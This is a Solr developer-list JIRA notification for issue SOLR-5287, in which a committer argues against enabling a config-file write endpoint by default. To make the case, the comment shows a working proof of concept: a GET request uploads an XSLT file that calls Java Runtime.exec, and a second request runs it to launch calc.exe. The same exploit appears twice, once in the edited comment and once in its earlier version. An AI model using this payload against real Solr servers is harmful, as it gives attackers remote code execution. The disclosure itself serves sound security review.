[ https://issues.apache.org/jira/browse/SOLR-5287?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13836061#comment-13836061
]
Uwe Schindler edited comment on SOLR-5287 at 12/1/13 4:54 PM:
--------------------------------------------------------------
Hi,
FYI I created a proof of concept why enabling this by default is bad:
First, after reading the blog post at http://www.agarri.fr/blog/, you might think, you need
to actually POST to the handler, which is not possible via XXE. But as Solr allows to pass
a content stream through the URL query as string, your system is wide open for writing files,
also when you can only do GET requests. Here is the example that uploads the file from the
above blog post as {{xslt/test.xsl}}. This file has Java code embedded that starts {{calc.exe}}
on windows systems:
{noformat}
> curl 'http://localhost:8983/solr/collection1/admin/file?file=xslt/test.xsl&contentType=text/xml;charset=utf-8&op=write&stream.body=%3Cxsl%3Astylesheet%20version%3D%221.0%22%0A%20%20%20%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0A%20%20%20%20xmlns%3Art%3D%22http%3A%2F%2Fxml.apache.org%2Fxalan%2Fjava%2Fjava.lang.Runtime%22%3E%0A%0A%20%20%3Cxsl%3Aoutput%20method%3D%22text%22%2F%3E%0A%0A%20%20%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22cmd%22%3E%3C!%5BCDATA%5Bcalc.exe%5D%5D%3E%3C%2Fxsl%3Avariable%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22rtObj%22%20select%3D%22rt%3AgetRuntime()%22%2F%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22process%22%20select%3D%22rt%3Aexec(%24rtObj%2C%20%24cmd)%22%2F%3E%0A%20%20%20%3Cxsl%3Atext%3EProcess%20started%3A%20%3C%2Fxsl%3Atext%3E%3Cxsl%3Avalue-of%20select%3D%22%24process%22%2F%3E%0A%20%20%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E'
{noformat}
This is the file uploaded by this (on my windows system that open the windows calculator {{calc.exe}},
modify for linux or use other windows commands to format your harddisk):
{code:xml}
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:variable name="cmd"><![CDATA[calc.exe]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
<xsl:text>Process started: </xsl:text><xsl:value-of select="$process"/>
</xsl:template>
</xsl:stylesheet>
{code}
If you then execute the newly created XSL file in your xslt config directory, the windows
calculator opens on your desktop -- booom!:
{noformat}
> curl 'http://localhost:8983/solr/select/?q=*:*&wt=xslt&tr=test.xsl'
Process: java.lang.ProcessImpl@73e71ddf
{noformat}
This is the reason, why this *must* be disabled by default. Having the possibility to upload
arbitrary files containing active content to the solr server with only a GET (!!!!) cannot
be done by default. GET requests can be started by even smallest leaks in your firewall (as
explained in the blog above).
was (Author: thetaphi):
Hi,
FYI I created a proof of concept why enabling this by default is bad:
First, after reading the blog post at http://www.agarri.fr/blog/, you might think, you need
to actually POST to the handler, which is not possible via XXE. But as Solr allows to pass
a content stream through the URL query as string, your system is wide open for writing files,
also when you can only do GET requests. Here is the example that uploads the file from the
above blog post as {{xslt/test.xsl}}. This file has Java code embedded that starts {{calc.exe}}
on windows systems:
{noformat}
> curl 'http://localhost:8983/solr/collection1/admin/file?file=xslt/test.xsl&contentType=text/xml;charset=utf-8&op=write&stream.body=%3Cxsl%3Astylesheet%20version%3D%221.0%22%0A%20%20%20%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0A%20%20%20%20xmlns%3Art%3D%22http%3A%2F%2Fxml.apache.org%2Fxalan%2Fjava%2Fjava.lang.Runtime%22%0A%20%20%20%20xmlns%3Astr%3D%22http%3A%2F%2Fxml.apache.org%2Fxalan%2Fjava%2Fjava.lang.String%22%3E%0A%0A%20%20%3Cxsl%3Aoutput%20method%3D%22text%22%2F%3E%0A%0A%20%20%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22cmd%22%3E%3C!%5BCDATA%5Bcalc.exe%5D%5D%3E%3C%2Fxsl%3Avariable%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22rtObj%22%20select%3D%22rt%3AgetRuntime()%22%2F%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22process%22%20select%3D%22rt%3Aexec(%24rtObj%2C%20%24cmd)%22%2F%3E%0A%20%20%20%3Cxsl%3Atext%3EProcess%20started%3A%20%3C%2Fxsl%3Atext%3E%3Cxsl%3Avalue-of%20select%3D%22%24process%22%2F%3E%0A%20%20%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E'
{noformat}
This is the file uploaded by this (on my windows system that open the windows calculator {{calc.exe}},
modify for linux or use other windows commands to format your harddisk):
{code:xml}
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:variable name="cmd"><![CDATA[calc.exe]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
<xsl:text>Process started: </xsl:text><xsl:value-of select="$process"/>
</xsl:template>
</xsl:stylesheet>
{code}
If you then execute the newly created XSL file in your xslt config directory, the windows
calculator opens on your desktop -- booom!:
{noformat}
> curl 'http://localhost:8983/solr/select/?q=*:*&wt=xslt&tr=test.xsl'
Process: java.lang.ProcessImpl@73e71ddf
{noformat}
This is the reason, why this *must* be disabled by default. Having the possibility to upload
arbitrary files containing active content to the solr server with only a GET (!!!!) cannot
be done by default. GET requests can be started by even smallest leaks in your firewall (as
explained in the blog above).
> Allow at least solrconfig.xml and schema.xml to be edited via the admin screen
> ------------------------------------------------------------------------------
>
> Key: SOLR-5287
> URL: https://issues.apache.org/jira/browse/SOLR-5287
> Project: Solr
> Issue Type: Improvement
> Components: Schema and Analysis, web gui
> Affects Versions: 4.5, 5.0
> Reporter: Erick Erickson
> Assignee: Erick Erickson
> Priority: Blocker
> Fix For: 5.0, 4.7
>
> Attachments: SOLR-5287.patch, SOLR-5287.patch, SOLR-5287.patch, SOLR-5287.patch,
SOLR-5287.patch
>
>
> A user asking a question on the Solr list got me to thinking about editing the main config
files from the Solr admin screen. I chatted briefly with [~steffkes] about the mechanics of
this on the browser side, he doesn't see a problem on that end. His comment is there's no
end point that'll write the file back.
> Am I missing something here or is this actually not a hard problem? I see a couple of
issues off the bat, neither of which seem troublesome.
> 1> file permissions. I'd imagine lots of installations will get file permission exceptions
if Solr tries to write the file out. Well, do a chmod/chown.
> 2> screwing up the system maliciously or not. I don't think this is an issue, this
would be part of the admin handler after all.
> Does anyone have objections to the idea? And how does this fit into the work that [~sarowe@syr.edu]
has been doing?
> I can imagine this extending to SolrCloud with a "push this to ZK" option or something
like that, perhaps not in V1 unless it's easy.....
> Of course any pointers gratefully received. Especially ones that start with "Don't waste
your effort, it'll never work (or be accepted)"...
> Because what scares me is this seems like such an easy thing to do that would be a significant
ease-of-use improvement, so there _has_ to be something I'm missing.
> So if we go forward with this we'll make this the umbrella JIRA, the two immediate sub-JIRAs
that spring to mind will be the UI work and the endpoints for the UI work to use.
> I think there are only two end-points here
> 1> list all the files in the conf (or arbitrary from <solr_home>/collection)
directory.
> 2> write this text to this file
> Possibly later we could add "clone the configs from coreX to coreY".
> BTW, I've assigned this to myself so I don't lose it, but if anyone wants to take it
over it won't hurt my feelings a bit....
--
This message was sent by Atlassian JIRA
(v6.1#6144)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@lucene.apache.org
For additional commands, e-mail: dev-help@lucene.apache.org